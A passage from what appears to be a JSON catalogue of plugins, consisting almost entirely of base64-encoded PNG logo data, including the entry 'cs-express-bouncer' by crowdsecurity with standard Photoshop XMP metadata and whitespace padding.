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" }, { "name": "cs-express-bouncer", "author": "crowdsecurity", "logo": "iVBORw0KGgoAAAANSUhEUgAAAMgAAACqCAYAAADoZADPAAAACXBIWXMAAAsTAAALEwEAmpwYAAA5oGlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMwNjcgNzkuMTU3NzQ3LCAyMDE1LzAzLzMwLTIzOjQwOjQyICAgICAgICAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIKICAgICAgICAgICAgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIKICAgICAgICAgICAgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIgogICAgICAgICAgICB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ+eG1wLmRpZDoyMTk3QjU5QjBGMjE2ODExODIyQUYzMTFCRjA5NkMyMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06RG9jdW1lbnRJRD54bXAuZGlkOjRDMTA0QkM4OTNCMjExRTRBM0QzQ0RCQzdCMDRGNjlDPC94bXBNTTpEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJRD54bXAuaWlkOjQ3MWJhNTZmLTdkM2UtZDM0OS04NzYyLTFjMWVjNTFmNjI4ZjwveG1wTU06SW5zdGFuY2VJRD4KICAgICAgICAgPHhtcE1NOkRlcml2ZWRGcm9tIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+eG1wLmlpZDoyMzk3QjU5QjBGMjE2ODExODIyQUYzMTFCRjA5NkMyMzwvc3RSZWY6aW5zdGFuY2VJRD4KICAgICAgICAgICAgPHN0UmVmOmRvY3VtZW50SUQ+eG1wLmRpZDoyMTk3QjU5QjBGMjE2ODExODIyQUYzMTFCRjA5NkMyMzwvc3RSZWY6ZG9jdW1lbnRJRD4KICAgICAgICAgPC94bXBNTTpEZXJpdmVkRnJvbT4KICAgICAgICAgPHhtcE1NOkhpc3Rvcnk+CiAgICAgICAgICAgIDxyZGY6U2VxPgogICAgICAgICAgICAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OmFjdGlvbj5zYXZlZDwvc3RFdnQ6YWN0aW9uPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6aW5zdGFuY2VJRD54bXAuaWlkOjQ3MWJhNTZmLTdkM2UtZDM0OS04NzYyLTFjMWVjNTFmNjI4Zjwvc3RFdnQ6aW5zdGFuY2VJRD4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OndoZW4+MjAxNy0wNC0xNFQxMzoyNTowMy0wNDowMDwvc3RFdnQ6d2hlbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0OnNvZnR3YXJlQWdlbnQ+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTUgKFdpbmRvd3MpPC9zdEV2dDpzb2Z0d2FyZUFnZW50PgogICAgICAgICAgICAgICAgICA8c3RFdnQ6Y2hhbmdlZD4vPC9zdEV2dDpjaGFuZ2VkPgogICAgICAgICAgICAgICA8L3JkZjpsaT4KICAgICAgICAgICAgPC9yZGY6U2VxPgogICAgICAgICA8L3htcE1NOkhpc3Rvcnk+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIwMTUgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3LTA0LTE0VDEzOjAzOjI1LTA0OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlEYXRlPjIwMTctMDQtMTRUMTM6MjU6MDMtMDQ6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1wOk1ldGFkYXRhRGF0ZT4yMDE3LTA0LTE0VDEzOjI1OjAzLTA0OjAwPC94bXA6TWV0YWRhdGFEYXRlPgogICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9wOkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8dGlmZjpPcmllbnRhdGlvbj4xPC90aWZmOk9yaWVudGF0aW9uPgogICAgICAgICA8dGlmZjpYUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WFJlc29sdXRpb24+CiAgICAgICAgIDx0aWZmOllSZXNvbHV0aW9uPjcyMDAwMC8xMDAwMDwvdGlmZjpZUmVzb2x1dGlvbj4KICAgICAgICAgPHRpZmY6UmVzb2x1dGlvblVuaXQ+MjwvdGlmZjpSZXNvbHV0aW9uVW5pdD4KICAgICAgICAgPGV4aWY6Q29sb3JTcGFjZT42NTUzNTwvZXhpZjpDb2xvclNwYWNlPgogICAgICAgICA8ZXhpZjpQaXhlbFhEaW1lbnNpb24+MjAwPC9leGlmOlBpeGVsWERpbWVuc2lvbj4KICAgICAgICAgPGV4aWY6UGl4ZWxZRGltZW5zaW9uPjE3MDwvZXhpZjpQaXhlbFlEaW1lbnNpb24+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI